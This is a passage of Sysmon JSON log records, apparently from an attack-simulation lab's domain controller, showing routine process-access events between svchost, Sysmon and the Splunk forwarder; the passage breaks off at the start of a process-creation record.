11:52:27.979","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:29","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:27","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3365,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:27.979\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:27.979","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:29","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:27","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3366,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:27.979\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:27.979","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:29","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:27","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3367,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:27.979\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:27.979","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:29","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:27","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3368,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:27.979\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:27.979","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:29","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:27","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3369,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:27.979\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:27.979","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:29","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:27","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3370,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:27.979\r\nSourceProcessGUID: {90617006-407B-5F2D-0000-001095160500}\r\nSourceProcessId: 664\r\nSourceThreadId: 2796\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-407B-5F2D-0000-00103B230500}\r\nTargetProcessId: 3212\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:27.979","SourceProcessGUID":"{90617006-407B-5F2D-0000-001095160500}","SourceProcessId":"664","SourceThreadId":"2796","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-407B-5F2D-0000-00103B230500}","TargetProcessId":"3212","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:29","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:28","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3371,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:28.213\r\nSourceProcessGUID: {90617006-407B-5F2D-0000-00103B230500}\r\nSourceProcessId: 3212\r\nSourceThreadId: 4516\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE\r\nTargetProcessGUID: {90617006-407B-5F2D-0000-0010B4110500}\r\nTargetProcessId: 5056\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nGrantedAccess: 0x101400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+116e675|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+116e1a6|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+f344c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+f2a91|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+19fdb50|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:28.213","SourceProcessGUID":"{90617006-407B-5F2D-0000-00103B230500}","SourceProcessId":"3212","SourceThreadId":"4516","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE","TargetProcessGUID":"{90617006-407B-5F2D-0000-0010B4110500}","TargetProcessId":"5056","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","GrantedAccess":"0x101400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+116e675|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+116e1a6|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+f344c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+f2a91|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+19fdb50|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:29","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:28","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3372,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:28.245\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-407B-5F2D-0000-0010B4110500}\r\nTargetProcessId: 5056\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:28.245","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-407B-5F2D-0000-0010B4110500}","TargetProcessId":"5056","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:29","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:28","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":3373,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:28.272\r\nProcessGuid: 